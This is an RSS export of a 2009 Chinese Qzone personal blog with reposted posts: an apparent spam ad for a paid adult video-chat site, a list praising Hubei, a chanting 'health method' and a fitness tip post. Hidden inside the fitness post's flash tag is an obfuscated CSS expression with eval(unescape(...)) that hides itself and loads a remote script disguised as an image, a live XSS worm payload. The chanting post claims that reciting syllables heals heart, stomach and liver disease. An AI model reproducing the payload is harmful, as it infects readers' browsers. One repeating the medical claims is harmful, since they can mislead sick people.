<![CDATA[万里马]]> http://413183816.qzone.qq.com Sun, 29 Nov 2009 08:26:30 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Wed, 18 Nov 2009 00:32:16 GMT <![CDATA[在家上网就能轻松挣@钱----恃]]> http://413183816.qzone.qq.com/blog/1258504336 ]]> http://413183816.qzone.qq.com/blog/1258504336#comment 134219264 Wed, 18 Nov 2009 00:32:16 GMT http://413183816.qzone.qq.com/blog/1258504336 <![CDATA[[转]喜欢你身上，男人的味道。]]> http://413183816.qzone.qq.com/blog/1257941337
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    谈谈偶的看法：
    以前，我在很多朋友的推荐下也去9158聊天室泡妞看表演，里面的美女好像比UC的要漂亮一点。不过玩得我挺郁闷的，里面每一个房间都限制，就连美女上半个胸部都不能露，上次一个主播仅露了个内衣就被踢出去了，我和一个美女在里面私聊开视频也被屡次骚扰，露了下JJ竟然账号被封了，现在想想就气愤，没有情色的谁玩呀。
    　　本来还想泡个小美女“一ye情”或“视频Luo聊”玩玩，找遍了也没看到，气死我了，里面的主播也一点都不开放。再也不去9158的房间了，还是 http://www.10chat.cn 好，美女主持多，个个上突下翘的，虽然是收费的，但表演又开放，想不硬不射都不行，以后就玩它了。
    　　不过还是谢谢我的朋友们，嘿嘿！！！
]]> http://413183816.qzone.qq.com/blog/1257941337#comment 142606857 Wed, 11 Nov 2009 12:08:57 GMT http://413183816.qzone.qq.com/blog/1257941337 <![CDATA[最准确的爱情缘分测试!]]> http://413183816.qzone.qq.com/blog/1257911157 ]]> http://413183816.qzone.qq.com/blog/1257911157#comment 134219264 Wed, 11 Nov 2009 03:45:57 GMT http://413183816.qzone.qq.com/blog/1257911157 <![CDATA[[转]是湖北人就转,不是湖北人学着点！]]> http://413183816.qzone.qq.com/blog/1254803219
湖北人没什么可牛的，只是出了2个国家主席而已。
湖北人没什么可牛的，只是共和国十大元帅中有3个而已。
湖北人没什么可牛的，只是很能吃吃香喝辣而已。
湖北人没什么可牛的，只是N次火车的终点站而已。
湖北人没什么可牛的，只是省会在武汉3个城市组成而已。
湖北人没什么可牛的，只是有时候会被人说9头鸟而已。
湖北人没什么可牛的，只是古代4大美女王昭君故乡而已。
湖北人没什么可牛的，只是长江三峡世界闻名而已。
湖北人没什么可牛的，只是光谷新区让中央和建设部的那帮人吓得乱开会而已。
湖北人没什么可牛的，只是武汉大学和华中科技进了前十而已。
湖北人没什么可牛的，只是悉尼奥运会上拿了中国金牌总数的四分之三而已。
湖北人没什么可牛的，只是一个湖北人在跳了河，全国人为他过节而已！

湖北人没什么可牛的，只是中国近代的革命开端在武昌而已。
湖北人没什么可牛的，只是传说中的九省通衢而已。
湖北人没什么可牛的，只是省会在全国的交通最发达的武汉而已。
湖北人没什么可牛的，只是全国高校前10武汉占2，211有7所排全国第3而已.全国8大美院湖北只占一所而已。
湖北人没什么可牛的，只是现代工业史洋务运动在武汉开始而已。
湖北人没什么可牛的，只是有个荆州城而已。
湖北人没什么可牛的，只是有3个坯子在荆州做了件事而已。其中有个叫关羽的死在那而已。
湖北人没什么可牛的，只是每年的洪水期主要要靠那的荆江大堤而已。
湖北人没什么可牛的，只是有个号称全世界最大的水利发电站在，并且全世界都惊叹而已。
湖北人没什么可牛的，只是有个神秘的地方和植物最古老最丰富的地方神龙架在那而已。
湖北人没什么可牛的，只是有个武昌鱼，热干面而已。
湖北人没什么可牛的，只是高考由我们自己出题，分数线高的吓人而已。
湖北人没什么可牛的，只是第一架长江大桥在武汉而已。
湖北人没什么可牛的，只是武汉有个汉正街，全国的服装贸易都经过那里而已。
湖北人没什么可牛的，只是曾经天下九州，就算荆州一个而已。
湖北人没什么可牛的，只是有句话叫：为楚有才而已。
湖北人没什么可牛的，只是虽然湖南也能叫楚，但楚的国都郢在荆州一带而已。
湖北人没什么可牛的，只是天上九头鸟，地上湖北佬说的就是湖北人的精明而已！！！

湖北人没什么可牛的，只是四大发明有其一而己（毕升印刷术）
湖北人没什么可牛的，只是有个人出了一本本草纲目而己（李时珍）。
湖北人没什么可牛的，只出了一个神农帝而己。
湖北人没什么可牛的,只是一个县出了三百多名将军而己（红安）。

湖北人真没什么可牛的，只是1911年闹了个武昌起义而已，
湖北人真没什么可牛的，只是1957年就建了中国第一长江大桥而已，
湖北人真没什么可牛的，只是有一座号称“东方底特津”之称的汽车城市－十堰而已，
湖北人真没什么可牛的，只是这个内陆省有排名世界十七的造船厂而已，
湖北人真没什么可牛的，只是科教水平一般一般全国第三而已，
湖北人真没什么可牛的，只是出了改革开放以来唯一的一个女总理吴仪而已。 ]]> http://413183816.qzone.qq.com/blog/1254803219#comment 1048 Tue, 06 Oct 2009 04:26:59 GMT http://413183816.qzone.qq.com/blog/1254803219 <![CDATA[[转][http://12704812.qzone.qq.com]]]> http://413183816.qzone.qq.com/blog/1251305028










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                      《大爱健身法》
                      柯 云 路

                      孙思邈（公元541-682）是唐代著名的医药学家和养生长寿家。
                      《六字养生诀》是孙思邈得享高寿的主要养生方法。
                      （28）

                      中国传统医学中的六字养生诀，就是“呵、呼、四、吹、嘘、嘻”。
                      这六个字都有调理身体的特殊波动。
                      这是中国几千年传统医学家与养生家长期摸索总结出来的奥秘。
                      “呵”字，当我们长声诵念时（一般发“科”音），会对心脏以及中医所讲的心经产生奇妙的震动、疏通、理疗作用。
                      朋友们如果心脏有些不适，只要放松身心长声念诵“呵——”，会觉得很快舒服下来。
                      坚持每天早晨长念“呵——”音，对心脏有很好的保养理疗作用。
                      而且从中医学来讲，可以连同小肠一起达到呵护保养。
                      “呼”字事关脾胃，长声念诵它时，会疏通保护我们的脾胃。
                      脾胃不适或者有疾病的人，每天几分钟长诵“呼——”音，调理作用立竿见影。
                      “四”字，长音念诵时，调理疗养我们的肺，连同大肠。
                      “吹”字，长声念诵时，调理我们的肾及膀胱。
                      “嘘”字，长声念诵时，调理我们的肝和胆。
                      最后“嘻”字，长声念诵时，从中医学来讲，调理疗养的是上中下三焦。
                      三焦是中医学特有的概念，这里不详述。大概其说，它是指人体三部位的某种运营功能。胸口部位有上焦、胃肚脐部位有中焦、下腹部有下焦。
                      总之，“呵、呼、四、吹、嘘、嘻”六字，不仅调整了人体的五脏六腑，还调整了与之相关连的人体经络。
                      朋友们会问，那我们就该每日晨练时长声念诵六字秘诀了，对吗？

                      （29）

                      对。
                      每天晨练，我们可以长声念诵六字秘诀，调整五脏六腑及相关经络。
                      但有了来自植物世界和水世界对人类赞美感谢的感应事实之后，我们就要将中医学中的“六字养生秘诀”和我们对身体的“赞美与感谢”结合起来。
                      那就别样神妙了。

                      （30）

                      我们先用六字养生诀呵护心脏。
                      在空气新鲜的清晨，先抚摸一下胸脯的心脏部位，对心脏做出由衷的赞美与感谢。
                      当你体会到它怡悦的反应之后，便对它说：我将继续呵护你。
                      这时候，你长声念诵“呵——”（发“科”音）。
                      它是与深呼吸相结合的。深呼吸之后，随着均匀悠长的呼气，拖长声音念“呵——”。
                      你会体会到“呵——”对心区部位的震动与疏通，还会感到腹部小肠部位的震动与影响。
                      熟悉中医“人体经络”的朋友还能体会到长声诵念“呵——”，对心经和小肠经的震动与疏通。

                      （31）
                      接着，用六字养生诀调理疗养肺。
                      同样，先在呼吸中找到与肺部对话的感觉。
                      赞美感谢它之后，觉着它怡悦的反应了。
                      而后长声念诵“四——”。用其特定的波动调理疗养肺。
                      方法依然是与深呼吸相结合。
                      深吸气之后，拖长声音念“四——”时，自然而然匀长呼气。
                      要在赞美和感谢的态度中长声念诵“四——”。
                      而长声念诵“四——”，反之又是我们对肺赞美感谢的延续。
                      这样，你能体会到肺部的舒适感觉。
                      从中医学讲，肺与大肠互为表里，你还能体会到腹部、大肠部位的舒服。
                      熟悉经络的人还能体会到肺经、大肠经受到震动和疏通。

                      （32）

                      接下来同理，在赞美感谢之后，长声念诵“呼——”，震动、调理、呵护我们的脾胃，同时调理疏通脾经、胃经。
                      胃的反应十分敏感。
                      只要我们赞美感谢完了，“呼——”，它的怡悦舒服感觉漾然出现。
                      有脾胃疾病的人，如果每天一两次，每次几分钟长念“呼”字诀，有可能你的疾病不治而愈。

                      （33）

                      接着，长声诵念“吹——”。
                      调理疗养我们的肾脏及膀胱，
                      一样，要在赞美感谢之后。
                      一样，要与匀长的深呼吸相结合。
                      一样，在赞美感谢的态度中长声诵念。
                      一样，把长声诵念当做赞美感谢的延续。
                      我们的肾脏、膀胱以及相关的肾经、膀胱经，都会得到调理和疗养。
                      有些微妙的反应会让你惊喜。
                      不做不知道。做了才知道。

                      （34）

                      再接着，长声诵念“嘘——”，调理我们的肝、胆。
                      当然，也要赞美与感谢。
                      也是与深长均匀的呼吸相结合。
                      用赞美感谢的波动，震动、疏通、理疗我们的肝胆。
                      用长声“嘘——”的特殊波动，震动、调理我们的肝胆。
                      赞美感谢的波动与“嘘——”音的波动相结合，影响力直达肝、胆以及相关的肝经、胆经。
                      我们的肝胆平时反应似乎不甚敏感。
                      但肝区不适的人会发现，经此诵念后，不适会有所减轻。正怒气冲冲肝火旺盛的人也会发现，在长声诵念“嘘——”音后怒气消褪，右肋部被怒气憋胀的感觉也会消失。
                      肝极为重要。胆更不可缺少。
                      一个赞美感谢后的长声“嘘——”，呵护好了你的肝、胆。

                      （35）

                      最后，长声诵念“嘻——”。
                      调理、疏通、疗养三焦以及相连的三焦经。
                      方法自然与前面五字诀一样。
                      也是赞美夸奖感谢在先。
                      长声念诵是其延续。
                      念完以后，你会觉得胸腹从上到中到下都很舒服。

                      （36）

                      六字养生诀到此就操练完了。
                      每天早晨将六字诀反复念诵几遍，效果极佳。遍数多少以时间而定。念五分钟可以。十分钟更好。如果念二十分钟，那就是极佳极佳了。
                      如果时间短，不仅每个字可以少念几遍，甚至不必六个字念全。
                      脾胃不好，可以集中多念“呼——”。
                      心脏这段时间有些不适，可以单念“呵——”。
                      这都是因时制宜的事情。
                      (未完待续)
                      哪位朋友希望从我这里直接得到《大爱健身法》，告诉我，我会发给你。希望你有了体会之后，与更多的朋友分享，帮助更多的人提高身心健康水平。
                      我的邮箱：[email=[ft=#006600,,]keyunlu@vip.sina.com]keyunlu@vip.sina.com[/email]
                      祝朋友们健康快乐！

                      ]]>                       http://413183816.qzone.qq.com/blog/1248427858#comment 1033 Fri, 24 Jul 2009 09:30:58 GMT http://413183816.qzone.qq.com/blog/1248427858                       <![CDATA[[转]练掉小肚子 健美运动--动作简单易学,【动画版】]]> http://413183816.qzone.qq.com/blog/1246620073
                      这些小运动，

                      只要每天挑一个做十分钟

                      两个星期内就会见效

                      这些是有氧运动

                      要慢慢的做

                      不要拼了老命的做

                      如果是第一次做的人

                      建议先做二十下

                      再看个人状况逐日增加

                      不要太勉强

                      但一定要持之以恒

                      加油吧！！！












                      [flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]>                       http://413183816.qzone.qq.com/blog/1246620073#comment 1033 Fri, 03 Jul 2009 11:21:13 GMT http://413183816.qzone.qq.com/blog/1246620073                       <![CDATA[[转]不论你多难过，多伤心，这里肯定有一张会让你笑的！]]> http://413183816.qzone.qq.com/blog/1243861908 走模特..回眸一笑..然后...

                      这个..照相别害羞嘛..

                      史上最假假摔

                      小孩长大有体操天赋..

                      猫咪眼神不好...

                      这家伙...很帅..也很衰..

                      条件反射..

                      巴西VS阿根廷..哈哈..

                      最富有舞蹈色彩的裁判..

                      夺命剪刀腿..

                      貌似是舞林争霸的评选吧？？

                      国足断子绝孙脚...

                      阿森纳的前锋...这平衡能力..

                      进球后的庆祝..还托马斯回旋呢..

                      快使用双节棍...哼哼哈嘿..

                      穿牛仔不能玩跑步机吧？？

                      这一定疼死..

                      可不能在大街上玩街舞...

                      考试啦..疯了..

                      你敢打？我就敢往POP传...

                      屠龙刀爆了...我靠..

                      打麻将输了不给钱？

                      飞了...

                      弹簧腿...我一扣..再扣...扣扣扣扣

                      我被大灰狼带走了

                      斗鸡的下场

                      ..这女孩 有前途.

                      考完试了 真开心 开心.开心

                      唉呀妈呀.谁酒窖门没关

                      敢偷看美女洗澡？我踹...

                      感觉这张好傻..

                      看你这观众老不顺眼了..顶你.

                      星球大战.哇靠..

                      小孩有前途..前轮制动玩漂移 哈哈

                      你有我灵敏么？拽你尾巴在拽腿..

                      哇靠..打枪离我远点..疼死了

                      哥们 稳住.怪我..屏住了呼吸..不对..是怪那女的.

                      老图了..

                      这张也是老图.. ]]>                       http://413183816.qzone.qq.com/blog/1243861908#comment 1545 Mon, 01 Jun 2009 13:11:48 GMT http://413183816.qzone.qq.com/blog/1243861908                       <![CDATA[本人热卖推荐："麒麟献瑞(红)(车挂) YPJP2506070207"]]> http://413183816.qzone.qq.com/blog/138 "麒麟献瑞(红)(车挂) YPJP2506070207"

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